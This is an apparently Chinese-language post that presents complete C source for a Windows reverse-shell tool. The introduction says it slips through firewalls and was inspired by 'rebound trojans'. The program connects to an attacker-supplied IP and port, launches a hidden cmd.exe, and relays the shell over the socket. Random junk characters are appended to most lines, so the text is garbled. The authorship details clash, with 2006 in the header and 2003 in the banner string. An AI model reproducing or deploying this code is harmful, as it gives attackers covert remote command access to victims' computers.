Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 T1A/>\Ns  
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/* ============================== t]XF*fZH  
Rebound port in Windows NT 8S@"6TG`  
By wind,2006/7 )E}eK-Yu  
===============================*/ blmY=/]  
#include VX'G\Zz@h|  
#include yUX<W'-Hev  
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#pragma comment(lib,"wsock32.lib") ;edt["Eu  
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void OutputShell(); "vo o!&<  
SOCKET sClient; psAr>:\3  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; _YA;Nd#%k
 
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void main(int argc,char **argv) K{`3,U2Wx  
{  <xwaFZ  
WSADATA stWsaData; +|.6xC7U  
int nRet; qj*77  
SOCKADDR_IN stSaiClient,stSaiServer; b/&{:g!B  
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if(argc != 3) VcORRUp
 
{ QV_Ep
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printf("Useage:\n\rRebound DestIP DestPort\n"); |K'7BK_^J  
return; 7KZ>x*o  
} 10ZL-7D#m  
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WSAStartup(MAKEWORD(2,2),&stWsaData); VRvX^w0  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); f= 33+8I  
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stSaiClient.sin_family = AF_INET; m
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stSaiClient.sin_port = htons(0); l/6(V:  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 0r
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) F5YHc$3^  
{ =f=,YcRn+  
printf("Bind Socket Failed!\n"); 5`f\[oA  
return; D
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} H  2UR  
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stSaiServer.sin_family = AF_INET; ~.<}/GP]_  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); p&cJo<]=LE  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); j?s+#t  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) {>zQW{!  
{ xwZ7I  
printf("Connect Error!"); Vf`9[*j  
return; 5dEek7wnf  
} <'92\O  
OutputShell(); jrm L>0NZ  
} \j~LxV  
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void OutputShell() xXNLUP  
{ W=?s-*F[~  
char szBuff[1024]; <dX7{="&  
SECURITY_ATTRIBUTES stSecurityAttributes; gpe-)hD@R  
OSVERSIONINFO stOsversionInfo; RiCzH  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Z=y^9]  
STARTUPINFO stStartupInfo; \ Q0-yNt  
char *szShell; Fhbp,CX4p  
PROCESS_INFORMATION stProcessInformation; :~B'6b  
unsigned long lBytesRead; %|gj46  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); =y1/V'2E  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); nY=]KU  
stSecurityAttributes.lpSecurityDescriptor = 0; ] KR\<MJK  
stSecurityAttributes.bInheritHandle = TRUE; bcE%EQ  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); TF;}NQ  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); a?ii)GGq  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); m/>z}d05h  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; XCku[?Ix  
stStartupInfo.wShowWindow = SW_HIDE; h2fTG  
stStartupInfo.hStdInput = hReadPipe; * 57y.](w  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 4I<U5@a  
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GetVersionEx(&stOsversionInfo); /b~|(g3
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switch(stOsversionInfo.dwPlatformId) So\f[/em  
{ x $=-lB  
case 1: ZHW|P  
szShell = "command.com"; h]#bPb  
break; pxO?:B  
default: ]WP[hF  
szShell = "cmd.exe"; DeL7sU  
break; nLv"ON~  
} yct^AN|%  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); <-m?l6  
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send(sClient,szMsg,77,0); ziBg'  
while(1) X4}Lg2ts  
{ _b1w<T `  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ]U,f}T"e  
if(lBytesRead) Kh;jiK !  
{ =_Y#uE$  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); .j_YVYu1&  
send(sClient,szBuff,lBytesRead,0); =a3qpPkx  
} iv]*
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else *C n `pfO  
{ [MVG\6Up(  
lBytesRead=recv(sClient,szBuff,1024,0); #.z`clK#  
if(lBytesRead<=0) break; YQk<1./}I  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); SUQk0
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} |XdkJv]  
} 7L\kna<  
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return; @fwk  
}